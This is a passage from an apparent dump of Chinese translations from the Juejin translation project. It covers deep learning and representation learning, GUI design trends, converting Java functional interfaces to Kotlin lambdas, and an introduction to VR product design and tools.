[https://commons.wikimedia.org/w/index.php?curid=45555552](https://commons.wikimedia.org/w/index.php?curid=45555552)\n\n但是对于自编码来说，问题仍然存在。为了消除噪音，自编码和一些其他的表示学习算法必须能够准确的决定对于输入数据的描述来说什么是最重要的因素。我们想要我们的算法更好的分辨出哪些是我们感兴趣的图片(包含汉堡的)和哪些是我们不感兴趣的图片。对于这个例子来说，如果我们不是关注图片原始像素的值，而是将更多的注意力放在图片成分的外形和颜色上，那么在分辨有汉堡图片和无汉堡图片这个问题上显然更有优势。当然了，说比做总是要容易的多。关键点就是告诉算法如何从没用的因子中解构出有用的因子，这就是**变量因子**。\n\n乍一看，表示学习似乎无法为我们提供帮助，但是让我们再研究研究。\n\n一个编码器通过**隐藏层**(中间层)获取一个输入表示，将这个输入压缩成一个较小的格式。解码器做一个相反的事情：将输入解压回到原来的格式，尽可能多的保留数据。在这两个情况下，如果隐藏层知道哪些因子是描述输入最重要的，那么输入的信息将会得到最好的保留，然后确保这些因子没有在输入中被清除并传递到下一层。\n\n在上面的图标中，编码器和解码器都只包含一个隐藏层，一个被压缩，一个被解压。层的数量导致粒度的匮乏意味着这个算法为了最大限度的保留信息，会在判断输入的压缩和解压的好坏时弹性不足。但是如果我们做一个小调整，将几个隐藏层堆叠起来，一个接一个，那么我们就会给算法提供更大的自由度，同时算法也会在选择权重因子时对输入的压缩和解压达到最好的效果。\n\n> 这种使用多个隐藏层的神经网络算法就是深度学习。\n\n但是这并没有结束，深度学习还要再深入一步。在使用多个隐藏层时，我们可以组合多个简单的层来构建复杂的表示。通过一个一个的堆叠隐藏层，我们可以分辨出每一个层的变量因子。这会让我们的算法拥有用通过多个简单层的来表达高深复杂的概念的能力。\n\n![](https://cdn-images-1.medium.com/max/800/1*lXwWR56AEUQs3pWhHeFEEg.jpeg)\n\nZeiler and Fergus (2014)\n\n深度学习历史悠久。这个领域的核心观点在 1960 年代就通过多层感知器被提出来了。反向传播算法在 1970 年被正式提出，1980 年代各种人工神经网络也开始陆续登场。但是这些早期的成果又经历了几十年才在实践中得以运用。没有差的算法(有些人并不这样认为)，只是我们还没有意识到需要多大的数据量才能让它们变的有用。\n\n越小的数据样本越容易产生极端的结果（因为在统计噪音上会有更大的影响）。越大的数据样本则会减弱噪音的影响并让深度学习模型更精确的知道哪些因子可以最好的描述输入。\n\n在 21 世纪初期深度学习取得如此成就一点也不意外，而几乎同时，大部分科技公司也都发现了它们正坐在一座座未被开发的数据的金山上。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/from-form-to-function-our-thoughts-on-design-are-changing.md",
    "content": "> * 原文地址：[From Form to Function, Our Thoughts On Design Are Changing](https://medium.com/thinking-design/from-form-to-function-our-thoughts-on-design-are-changing-ed556d8f2b58)\n> * 原文作者：[Adobe Creative Cloud](https://medium.com/@creativecloud)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Ruixi](https://github.com/ruixi)\n> * 校对者：[cfanlife](https://github.com/cfanlife)，[hudson6666](https://github.com/hudson6666)\n\n# 从形式到功能，设计思维的改变\n\n![](https://cdn-images-1.medium.com/max/1600/1*bImmCpF6MPs9JslB21eAVQ.jpeg)\n\n设计作为用户参与的基本驱动力，对商业而言比以往任何时候都更加重要。留意一下最近的用户界面设计趋势，这可能让你感受到用户的期望是如何发生改变的，以及未来的趋势。但在我们深入讨论之前，有个重要的问题需要回答—— **设计是什么？**\n\n### 设计是什么？\n\n大多数人（甚至包括一些设计师）都将设计视作在产品完成之后所添加的视觉点缀、在产品开发结束之后的工艺流程，就像是设计师们强加在工程师的真实工作之上的。设计的确是视觉美学，但不仅如此。就像史蒂夫·乔布斯曾经说过的：“设计不只关乎视觉和感官。**设计关乎（产品）如何运作**。（Design is not just what it looks like and feels like. Design is how it works.）” 设计既包括产品的**视觉体验**，也包括产品的**运作原理**。\n\n### 图形用户界面（GUI）设计的演化\n\n计算机和人类说着不同的语言。设计师们依靠**图形**用户界面使交互成为可能。最近的 GUI 设计演化清晰地表明：**设计趋势就是用户（需求）的不断变化。** 为了证明这一点，我们来看看最近十年的 GUI 设计变化。\n\n#### 从复杂到简单\n\n由于移动设备的普及，2000 年底的 GUI 设计开始产生了明显的变化。设备配置的极大变化迫使设计师们不得不界面进行重新思考，而这又反过来引起了全球的 GUI 设计的变化。\n\n看看 Web 的历史，我们就会发现十年前的网站设计是不成熟的。但对于这种设计来说，视觉展示并不是唯一的问题。网站试图提供**尽可能多的选择**：一个站点所包含的所有信息似乎都是可用的，页面上的每个元素都“同等”重要。（那时的）设计师们觉得这样会让网站对用户来说更有价值。不幸的是，这往往导致页面的杂乱无章。在下方的案例中，你可以看出，从可用性的角度去观察，你可以看到一个乱糟糟的界面能够让人分心到何种程度。\n\n![](https://cdn-images-1.medium.com/max/1600/1*MgAzj4RVV2zFTQKQCmfSRw.jpeg)\n\n随着移动设备的兴起，设计师们开始意识到，用户的注意力是一种需要被合理利用的珍贵资源。这就促使了**高度集中**和**层次化界面**的出现。这样的界面能在用户最需要的时候提供最恰当数量的可用信息。\n\n![](https://cdn-images-1.medium.com/max/1600/1*IMwAqnMVH2peTtdNtwPPhQ.jpeg)\n\n#### 从拟物化到扁平化\n\n你还记得触屏上的所有应用程序看起来都像真的一样的时候吗？那个时候，几乎所有应用程序都在使用拟物化设计风格，而这种风格又是对现实世界中符号的借用。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Mrt--PeX7t5qPmnmwzDUAg.png)\n\n拟物化并不是一种纯粹的设计趋势，它在可用性方面也扮演了重要的角色。当很多用户都对触屏设备知之甚少的时候，设计师们必须确保用户能够明白这些应用程序是做什么的。拟物化设计通过让设计更加贴近(现实生活)来帮助人们理解新页面的运作方式。这就是上方的 iOS 报刊亭应用看上去就像是一个真实的书架（的原因）。随着用户渐渐的熟悉了触屏，这种设计隐喻显得鸡肋，而这种设计风格也逐渐退出了历史舞台。\n\n![](https://cdn-images-1.medium.com/max/1600/1*TxE-vVFUv_61nYtdml78Kw.jpeg)\n\n随着新技术的使用，一种纯粹的数字化外观出现了：扁平化。这种新的设计风格主要依靠平面质感、图标、排版、间距和色彩来营造数字界面的秩序。\n\n#### 从单一终端到跨终端\n\n十年前，一个主要的设计挑战就是保证设计能够在每一个浏览器下正常运行。今天，主要的设计挑战是**保证你的设计在用户所使用的设备上正常运行**。不再有移动用户和桌面端用户这种说法了。只有无论在什么设备上都可能想要照常使用你的产品的用户。这就是为什么**跨终端体验**（在移动端、桌面端、平板和可穿戴设备上的无缝体验）如此重要。目标就是将用户放在你的设计（包括多种终端）之中，[提供一个全方位的解决方案](https://uxmag.com/articles/5-elements-of-omni-channel-user-experiences) ，能够让用户无论在何种设备上都能够高效地使用产品。\n\n![](https://cdn-images-1.medium.com/max/1600/1*j5kqBjTpLFS5e1J3wkmvgw.jpeg)\n\n### 从像素到人\n\n现代应用程序和网站不只是解决方案的视觉表现，更是专注于解决用户问题并提供有价值结果的复杂系统。尽管这些系统有种种优点，但它还是有一个严重的天然障碍——图形用户界面。无论 GUI 如何优秀，人们都不得不去学习如何使用它。为了解决这个问题，现代 UX 已经不再局限于屏幕上的设计，走到了一个没有用户界面的交互世界之中。\n\n#### 节省时间的设计\n\n今天，用户期望他们在与科技交互中获得更忠实于用户习惯、更畅快的体验。他们想要使用被设计来节省他们的时间的产品。节约时间的设计完全是对用户时间的慎重对待，这也清楚地解释了它们崛起的原因。当代应用程序设计力求追随如下趋势：\n\n- **预见用户需求。** 这里用 Dark Sky weather 举个例子。一些用户可能仍然喜欢打开天气应用来查看天气预报，但天气应用最有用的功能是提醒用户突然变化的天气状况：比如通知用户很快就要下雪了。\n\n![](https://cdn-images-1.medium.com/max/1600/1*79Wbi92BeDyVaDPEEQjMLQ.jpeg)\n\n- **理解用户行为和目标。** 当你打开 Apple Watch 的优步应用时，它会直接在屏幕上显示车辆能够到达的时间——不需要拿出手机选择定位。\n\n![](https://cdn-images-1.medium.com/max/1600/0*0ouzEuTHaORKAryP.jpg)\n\n#### 自我学习系统（Self-learning systems，SLS）\n\n自我学习系统控制软件预见一些简单的、需要被自动代替用户完成的任务，或者至少能让用户距离完成任务更近若干步。功能更为自主的软件对用户来说有个很重大的益处——减少了**需要的注意力**。 自我学习软件的基本构件是基于经验学习、对传入数据分析，以及对新的事件作出反应的能力。自我学习系统面临的挑战是如何在关注用户行为的同时，以尽可能少的交互来设计行为。为什么这是个挑战？因为你需要在节约用户时间和为用户提供足够多的选项（让用户感受到自己对系统的控制）找到一个平衡点。\n\n![](https://cdn-images-1.medium.com/max/1600/1*_yiHy0NAU1xANCf6HYxMDA.jpeg)\n\n[Nest](https://nest.com/) 就是个很好的自我学习系统的例子。它是一个可以围绕用户的生活来制定计划的半智能恒温器。每当用户更改系统设置的时候，Nest 都会记下温度调整，并且在几天之后用户对 Nest 的调整会减少，因为它把它学到的一切都变成家庭的时间表。是的，Nest 有很多缺点(最严重的是[系统总是采用自己的方式](https://www.nngroup.com/articles/emotional-design-fail/))，但它依然是下一代产品的绝好示例。展望未来，自我学习软件将会是区别传统应用和现代应用的一个重要因素。\n\n#### 会话式交互界面\n\n随着 iPhone 消息、Slack 以及 WhatsApp 的出现，我们交换信息的方式被完全改变。 短信已经成为一种极其自然的交流方式。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZMmEYOSW_mZttqHXIEqDpw.png)\n\n这一趋势导致了会话界面的普及。从本质上讲，会话界面就是模仿真实人类聊天的用户界面。“聊天机器人（Chatbot）”是目前我们行业最热门的术语之一。越来越多的应用程序倾向于使用个人聊天而不是 GUI（的形式来和用户交互）。为什么？因为交谈对我们来说感觉很自然，这种特性使聊天机器人的使用比在传统用户界面中点击一堆按钮更加直观。另一个会话界面的优势在于细节程度（这个词我不太确定——译者注）：GUI 在实际中只有有限的选项，但和聊天机器人交谈在理论上（如果设计得好）允许开放式的发现和交互。\n\n![](https://cdn-images-1.medium.com/max/1600/1*odt0dGAYbEau2LXZo8EF3A.gif)\n\n最后但同样重要，青少年和千禧一代——未来市场的主要代表——在短信应用程序中花的时间比任何其他应用程序或网站都要多，为想要接触到这个群体的（人／企业）创造了一个巨大的商业机会。\n\n但聊天机器人不是会话界面进化的最终形态。语音界面将会是聊天机器人的下一步。在不远的将来，语音交互将会在我们与技术的互动中占据很大部分。使用语音命令来控制计算机已经由新一代语音交互软件，比如 Siri、Google Now 和 Amazon Echo 实现了。它们不使用传统的 GUI 作为交互手段。但最大的挑战是了解人们将如何与语音界面进行交互。这需要更好地了解人类——不仅是他们感兴趣的话题，还包括他们将**如何**谈论这些话题。\n\n![](https://cdn-images-1.medium.com/max/1600/1*coZE_xgldZTEQyI7SCdkvg.jpeg)\n\n### 结语\n\n随着技术的不断发展，我们正在使互动与数字服务更直观、更便捷、更高效的道路上不断前行。下一代平台继续发展得更接近人与人之间的对话，未来的界面不一定是由像素组成的。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/from-functional-java-to-functioning-kotlin.md",
    "content": "> * 原文地址：[From functional Java to functioning Kotlin](https://medium.com/google-developers/from-functional-java-to-functioning-kotlin-a4874a4a7a5)\n> * 原文作者：[Benjamin Baxter](https://medium.com/@benbaxter?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/from-functional-java-to-functioning-kotlin.md](https://github.com/xitu/gold-miner/blob/master/TODO/from-functional-java-to-functioning-kotlin.md)\n> * 译者：[huanglizhuo](https://github.com/huanglizhuo)\n> * 校对者：[atuooo](https://github.com/atuooo)，[hanliuxin5](https://github.com/hanliuxin5)\n\n# 函数式 Java 到函数式 Kotlin 的转换\n\n## 将 @FunctionalInterface 转换到 Kotlin 中\n\nJava 8 中引入了新的注解 [@FunctionalInterface](https://docs.oracle.com/javase/8/docs/api/java/lang/FunctionalInterface.html)。目的是为创建一个带有非默认方法的接口，这样这个接口就可以将函数模拟成面向对象语言中的一等公民。比如，[Comparable](https://docs.oracle.com/javase/8/docs/api/java/lang/Comparable.html) 就是只带有一个 [compareTo](https://docs.oracle.com/javase/8/docs/api/java/lang/Comparable.html#compareTo-T-) 方法的 `@FunctionalInterface`。\n\n回调在函数式接口中很常见。想象一下下面的场景，我们想要进行一些异步操作，稍后将结果返回给调用的客户端。在 Java 中，我们可以创建一个下面这样的类：\n\n```\npublic class MyAwesomeAsyncService {\n   \n    @FunctionalInterface\n    public interface AwesomeCallback {\n        void onResult(Result result);\n    }\n    private final AwesomeCallback callback;\n   \n    public MyAwesomeAsyncService(AwesomeCallback callback) {\n        this.callback = callback;\n    }\n    public void doWork() {\n        ...\n        callback.onResult(result);\n    }\n}\n```\n\n我们使用了有一个方法的回调接口，调用者只需实现它即可。\n\n然而 Android Studio 附带的 Kotlin 转换器对 `@FunctionalInterface` 注解的转换并不是最优的。\n\n```\nclass MyAwesomeAsyncService(private val callback: AwesomeCallback) {\n   \n    @FunctionalInterface\n    interface AwesomeCallback {\n        fun onResult(result: Result)\n    }\n    fun doWork() {\n        ...\n        callback.onResult(result)\n    }\n}\n```\n\n转换结果是创建了一个一对一个转换接口，但这可以进一步优化吗？\n在 Kotlin 中有个 [SAM（Single Abstract Method）单个抽象方法](https://kotlinlang.org/docs/reference/java-interop.html#sam-conversions)概念。这正是 Java 8 中 `@FunctionalInterface` 的注解，但在文档中却没有创建 SAM 的例子，只讲了如何使用 SAM。\n\n在构造函数中把接口转换为函数后，`@FunctionalInterface` 部分的样板代码从 96 个字符减少到 38 个字符，这可是减少了 40%。\n\n\n```\nclass MyAwesomeAsyncService(private val onResult: (Result) -> Unit) {\n    \n    fun doWork() {\n        ...\n        onResult(result)\n    }\n}\n```\n\n前后对比过后，你就会体会到 Kotlin 中这些语法糖是多么的好用。\n\n![](https://cdn-images-1.medium.com/max/800/1*E8Kf0zST9OFFPYJGmjBiPw.png)\n\n上面的图片是 Java 转换为 Kotlin 的对比。\n\n如果你也在使用 Kotlin 改造或者编写项目，欢迎在我的 [Twitter](https://twitter.com/benjamintravels) 下面评论交流你使用 Kotlin 中踩坑填坑经历。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/from-product-design-to-virtual-reality.md",
    "content": ">* 原文链接 : [From product design to virtual reality](https://medium.com/google-design/from-product-design-to-virtual-reality-be46fa793e9b#.mq9cnov35)\n* 原文作者 : [Jean-Marc Denis](https://medium.com/@jmdenis)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [cdpath](https://github.com/cdpath)\n* 校对者: [emmiter](https://github.com/emmiter) && [Dwight](https://github.com/ldhlfzysys)\n\n# 从产品设计到虚拟现实\n\n![](https://cdn-images-1.medium.com/max/2000/1*5NcDgUuWYNH3iBojzPfM3A.jpeg)\n\n### 从产品设计到虚拟现实\n\n#### 个人经历和 VR 简介\n\n#### 背景故事\n\n我曾在法国的初创公司 Sparrow 工作，2012 年 7 月 20 日被谷歌收购后，我进入谷歌担任产品设计师。随后我同 Gmail 团队从零打造了一款旗舰产品，也就是后来在 2014 年 10 月 22 日推出的 [Inbox by Gmail](http://www.google.com/inbox/)。\n\n我设计了数年的生产力软件，觉得好像碰到[临界点](https://zh.wikipedia.org/zh-cn/%E5%80%BE%E8%A6%86%E7%82%B9)了。我想要拓展自己的技术面，每天学习新事物，更多了解自己从未涉及的领域。我需要新的挑战，逃离[舒适区](https://zh.wikipedia.org/zh-cn/%E8%88%92%E9%80%82%E5%8C%BA)来重启人生。\n\n我在 Oculus 还处于 Kickstarter 众筹阶段时就因其沉浸式的体验和随之而来的无限可能性对虚拟现实感兴趣了。没有什么比创造全新的媒介和探索陌生的领域更令人感到兴奋了。\n\n我在 2015 年 4 月 17 日加入谷歌 Cardboard 和虚拟现实团队。感谢 [Clay Bavor](https://twitter.com/claybavor) 和 [Jon Wiley](https://twitter.com/jonwiley) 提供的机会。\n\n#### 另一维度\n\n我在新团队的前几周简直提心吊胆。大家讲着我听不懂的话，问我不知道从何答起的问题。\n\n![](https://cdn-images-1.medium.com/max/1200/1*y-X1O-mZzjNqiOv2pZw3pg.png)\n\n我不想说谎，快速学习专业术语并不容易，这并不意外。虚拟现实是一个有「深度」的领域（双关意，既表示有难度也表示空间上的深度），汇聚了很多具备专业技能的人才。度过了最初几周的紧张之后，我日渐有了更佳的全局观。慢慢地，碎片化的知识变得完整。我发现了我最适合的角色是什么，我想做什么以及如何达到这个目的。无论从事哪个工作，我要学习的都有很多，但是我已做好准备。我的心情每天都在变化，从对创造并学习新事物的极度兴奋到对有待学习的庞大知识的极度恐惧。和周围聪明又知识渊博的人一起工作让我的心情更加复杂。\n\n#### 都会好起来的\n\n我告诉自己并且坚信生命中的点终会连接起来。我是狂热分子，我知道自己乐意花数小时来学习和实验。\n\n在我的产品设计师生涯中，我得以更好地理解、发现并解决用户问题。不管媒介如何，让东西易于使用和取悦用户的差别并不大。\n\n任务的核心是相同的，但是要从A到B，还要了解一些有趣的东西。\n\n- 打草稿依然是一切的核心。在任何清空大脑或设计的阶段，打草稿都非常的快。我在加入这个团队之后打的草稿比我整个职业生涯打的还多。\n- 多种多样的设计技能大有裨益。\n- 摄影知识也会有用，因为你要和诸如视野、景深、焦散曲面、曝光等概念打交道。能够充分利用光，对我而言非常有价值。\n- 对 3D 和相关工具了解的越多，需要学习的就越少。显而易见，但也要在某些时刻留心，可能要处理结构、特征、道具建模、操作、UV 映射、纹理、动力、粒子等等。\n- 动作设计十分重要。作为设计师，我们了解如何用有物理边界的设备来工作。VR没有这些边界，所以要用完全不同的思路。*「这个元素如何产生？如何消失？」*就会是个多余的问题。\n- Python，C#，C++或任何编程技能会让你进步更快。由于迭代的基础需求，原型制作非常重要。这个领域如此之新，你甚至有机会抢先设计出独一无二的交互方式。现有的游戏引擎，比如Unity或者Unreal，一般都整合了代码。游戏和VR开发拥有庞大的活跃社区，已有大量的培训资料和资源。\n- 做好心灵被震撼的准备并拥抱未知吧。这是一个日新月异的全新世界。哪怕是最大的行业领导者也在摸着石头过河。就是这样。\n\n#### 角色\n\n新媒介引入了许多创造的可能性，设计团队因此会与时俱进。想想主机游戏或电影产业这些例子吧。\n\n我想会有两个设计大户。\n\n第一个将会关注核心用户体验、界面以及交互设计。这和当今产品设计团队的结构差不多（视觉设计师、用户界面师、用户体验师、动作设计师、研究员以及原型师）。\n\n每一个角色都必须适应这个新媒介的规则并且和工程师密切配合。目标应保持不变；构建快速迭代周期去探索交互设计的广阔领域。\n\n另一方面，内容团队会复制独立以及游戏设计工作室的结构来构建一切，从独家体验到 [AAA](https://zh.wikipedia.org/wiki/AAA_(%E7%94%B5%E5%AD%90%E6%B8%B8%E6%88%8F%E4%BA%A7%E4%B8%9A)) 游戏。我们所知其他媒介中的娱乐产业将很可能和VR中的很接近。\n\n最后，这两者都和创造优质端对端体验紧密相关。这两个产业都有很好的机会相互学习。\n\n* * *\n\n快速将我的个人经历讲完吧，我觉得要成为 VR 产品设计师并没有那么难，但是需要献出极大的精力去学习理解跨度极广的知识。\n\n### 迈出第一步并介绍 VR 设计基础\n\n#### 第一步\n\n在本文的第二部分，我会讨论关于这一新兴媒体需要知道的基础知识。我会使用面向设计师的视角，而且尽量简单。\n\n#### 稍微来点技术元素\n\n新的维度和沉浸式体验是颠覆性的。你需要了解一些内在规律才能更深入地理解生理学，才能更加慎重地对待用户。我们在下面这个 app 中重新整编了这些原则好让你能够在身临其境般的体验中学习。\n\n![](https://cdn-images-1.medium.com/max/800/1*n3brb9zrABUe8_WjsskFlQ.png)\n\n[下载 Cardboard 设计实验室](https://play.google.com/store/apps/details?id=com.google.vr.cardboard.apps.designlab)\n\n_想要进一步了解，还可以观看_ Alex 在今年（2015 年） I/O 大会上的[_演讲_](https://youtu.be/Qwh1LBzz3AU?t=18m12s) 。下面是简要的总结。_\n\n如果要记的话，就两个要点：\n\n*   避免丢帧\n*   维持头部追踪\n\n人会本能地对外界事件作出反应，你甚至都没有意识到这些事件，所以需要做针对性的设计。\n\n**生理舒适度**。这重新组合了诸如运动眩晕的概念。小心使用加速和减速。维护稳定的地平线来避免「晕船」效应。\n\n**环境舒适度**。人处在高空、狭小空间（*幽闭恐惧症*）或空旷空间（*广场恐惧症*）等特定场景下会感到各种不适。小心处理比例尺和物体间的碰撞。举个例子，如果有人朝你扔东西，你会本能的想要抓住它，规避它或者保护好你自己。充分利用这一本能，但不要让用户感到不适。\n\n你还可以利用用户感官创造更具沉浸感的产品和线索。 你还可以在游戏产业中得到灵感。他们利用各种技巧在游戏过程中引导用户。比如这些：\n\n*   声音：用于空间定位\n*   光线：指示路径来引导玩家\n\n* * *\n\n不要伤害用户亦不要让他们过度劳累。当你开始为这个新媒介做设计时，常常会犯这个错误。好莱坞的科幻电影尽管看上去很酷，但是充满了违背简单人体工程学规律的相互作用，而且会随着时间的推移造成极大的不适。少数派报告手势并不适合长时间的活动。\n\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/PJqbivkm0Ms\" frameborder=\"0\" allowfullscreen></iframe>\n\n我做了一个头部在二维平面运动时的安全区的简化图示。绿色为佳，黄色可以接受但要避免红色。有一些已公开的用户研究会进一步深入讨论这一课题「链接在文章底部」。\n\n![](https://cdn-images-1.medium.com/max/800/1*XJwTciYJOXlJMu62D1vDNw.jpeg)\n\n糟糕的设计会导致更加严重的健康问题。\n\n举个例子，你听说过“短信颈”吗？[《神经和脊柱手术》]((https://cbsminnesota.files.wordpress.com/2014/11/spine-study.pdf))的一篇研究报告测量了头部处于不同位置时颈部受到的压力。 头部位置从直视前方到头往下看时颈部压力增加了 440%。肌肉和韧带会有疲惫酸痛感，神经紧绷， 背脊骨间的软骨层受到压迫。所有不规范动作将导致诸如永久性神经损伤等长期严重的问题。\n\n**长话短说: 避免需要长时间向下看的交互动作。**\n\n![](https://cdn-images-1.medium.com/max/800/1*TxrR4g5d6HZVhBN0nyRwcA.jpeg)\n\n#### 自由度\n\n身体在空间中移动方向有六种。可以在 XYZ 坐标中旋转和平移。\n\n**自由度为 3（方向追踪）**\n\n需要绑定手机的头戴设备，比如 Cardboard 和 Gear VR 通过内置的陀螺仪（3DOF）来追踪方向。所有三个轴上的转动都会被记录下来。\n\n![](https://cdn-images-1.medium.com/max/800/1*bJQluIkWyg3HX2XSCS98CA.jpeg)\n\n**自由度为 6（方向和位置追踪）**\n\n要达到 6 个自由度，传感器需要追踪空间位置（+X, -X, +Y, -Y, +Z, -Z）。HTC Vive 和 Oculus Rift 这类高端设备自由度为 6（6DOF）。\n\n![](https://cdn-images-1.medium.com/max/800/1*sNTxX9iMJnE0oWybyTHNBw.jpeg)\n\n**追踪**\n**要实现 6 个自由度需要频繁地光学追踪一个或多个传感器发出的红外线。Oculus 的追踪传感器在固定的摄像头上，而 Vive 的传感器在真正的 HMD （头戴显示器）上。\n\n![](https://cdn-images-1.medium.com/max/600/1*v-ClTzahcgH9IMJtZR3BAQ.jpeg)\n\n![](https://cdn-images-1.medium.com/max/600/1*q_mrMtR0g8KGhedW6bzNKw.jpeg)\n\n#### 输入\n\n为不同的系统设计，需要不同的输入方式，并影响你的决定。比如Google Cardboard只有一个按钮，这导致交互模型就是简单的注释和轻点。HTC Vive 有两个自由度为 6 的控制器Oculus会附带 Xbox One 的控制器 ，不过最终会有一个自由度为 6 的二元控制器，Oculus Touch。所有这些都可以让你使用更先进的沉浸式交互模式。\n\n![](https://cdn-images-1.medium.com/max/800/1*QvXJZuU4HRKVzWaEBzNjvQ.jpeg)\n\n![](https://cdn-images-1.medium.com/max/800/1*b5tx1pcxOkKfhEGQjuEqWQ.jpeg)\n\n还有其他的输入方式，比如手部追踪。最著名的莫过于 Leap Motion。可以把它装在头戴显示器（HMD）。\n\n![](https://cdn-images-1.medium.com/max/800/1*j3oXBLEpGpCqmFj_LE6KaA.jpeg)\n\n随着技术进步，这一领域在持续演进，但时至今日，手部追踪还不是特别靠谱，还不能用作主要输入方式。主要问题在于手和指头，碰撞以及细节动作追踪。\n\n尽管大家都熟悉游戏手柄，它在 VR 中的体验却很糟糕。他从物理上限制了 VR 引入的自由度。在第一人称射击游戏中，扫射和移动会因为加速经常带来不适感。\n\n另一方面，HTC Vive 控制器因为有 6 个自由度增强了 VR 的体验，[Tilt Brush](http://www.tiltbrush.com/#video) 就是个绝佳的例子。我在写这段话的时候，还没试过 Oculus touch，但是我看过的所有的演示都相当不错。[这里有几个 Oculus Toybox 演示视频。](https://www.youtube.com/watch?v=dbYP4bhKr2M)\n\n设计用户界面和交互细节时，输入是关键因素，不同的输入方式将会推动不同设计决策。你应该熟悉所有的输入方式，并认识到它们的局限。\n\n#### 工具\n\n这是一个大的话题，可能需要一篇深入的文章才能讲清楚。我会重点介绍这行业中最流行的工具。\n\n**纸笔**\n\n![](https://cdn-images-1.medium.com/max/800/1*lw9mPIe6HtZeafnSaAt2bQ.jpeg)\n\n我们就是离不开纸笔。它们是我们用到的第一个工具，因为它们常伴左右而且不需要太多的技能。它是公认的表达想法的好工具，可以快速经济的迭代。速度和成本是重要的考量因素，因为对 VR 而言，将线框图转化成 hi-fi 的成本比 2D 更高。\n\n**Sketch**\n\n我仍然每天都在用 Sketch。它易于使用，是在创作 VR 原型之前进行探索的完美工具。它的专业工具和插件用起来非常方便，可以省不少时间。如果你不熟悉这个软件，可以读一下我的 [这篇](https://medium.com/sketch-app/discovering-sketch-25545f6cb161#.bnhmmx6ld) 和 [这篇](https://medium.com/sketch-app/what-is-new-in-sketch-3-4b92d8b25f3#.o7ruj49a8)文章。\n\n![](https://cdn-images-1.medium.com/max/1200/1*_qHJY0GowKCu4jejHLvRCw.png)\n\n**Cinema 4D**\n\n我并不把 C4D 当作 Maya 的竞争者。他们都很出色，各有千秋。如果没有 3D 背景，学习曲线会非常陡峭。我喜欢 C4D ，是因为我可以搞懂它的界面以及参数式无损方法。它可以帮助我快速的创建更多的迭代。我喜欢 MoGragh 模块，还有很多插件可以使用。社区活跃，可以找到很多高质量的学习材料。\n\n![](https://cdn-images-1.medium.com/max/1200/1*plFuA2zJQ4bO2xfE5B1N6w.png)\n\n![](http://ww4.sinaimg.cn/large/005SiNxyjw1f51jnwfayyg30b408c4qq.gif)\n\n![](http://ww3.sinaimg.cn/large/005SiNxyjw1f51jos4kovg30b408cqv6.gif)\n\n![](http://ww4.sinaimg.cn/large/005SiNxyjw1f51jpfq5ppg30b408chdt.gif) \n\n**Maya**\n\nMaya 的优点和缺点都很突出。一个 3D 艺术家要做的所有东西它都可以完成。大多数游戏和电影都是用它设计的。它稳定性出色，可以胜任海量仿真和复杂场景的构建。不管是渲染、建模、动画、纹理还是绑定，它就是最好的工具。Maya 可以高度定制，这也是它成为工业标准的一个原因。工作室需要创建自己的工具集，而 Maya 则是整合工作流程的完美工具。\n\n另外一方面，学习所有这些工具需要全心无保留地献身其中，花费大量时间。我的意思是数周的尝试，数月的学习和数年的日复一日的基础练习。\n\n<iframe width=\"420\" height=\"315\" src=\"https://www.youtube.com/embed/BT2W4z_KZzc\" frameborder=\"0\" allowfullscreen></iframe>\n\n**Unity**\n\nUnity 基本上就是个什么事情都会发生的原型工具。借助项目的直接 VR 预览可以轻松创建并移动东西。他还是一个强大的游戏引擎，有出色的社区，在线商店中有海量的资源（资源作者来定价）。在资源库中可以找到简单的 3D 模型，完整项目，音频，分析工具，着色器，脚本，材料，纹理等等资源。\n\nUnity 的文档和学习平台非常出色，有着各种各样的高质量教程。\n\nUnity3d 主要使用 C# 或者 JavaScript，有微软 Visual Studio 支持，但是没有内置的视觉编辑器，不过可以在资源库中找到相当不错的视觉编辑器。\n\nUnity 支持所有主流的头戴显示器，是跨平台支持最好的，支持的平台有：_Windows PC, Mac OS X, Linux, Web Player, WebGL, VR(包括 Hololens), SteamOS, iOS, Android, Windows Phone 8, Tizen, Android TV 和 Samsung 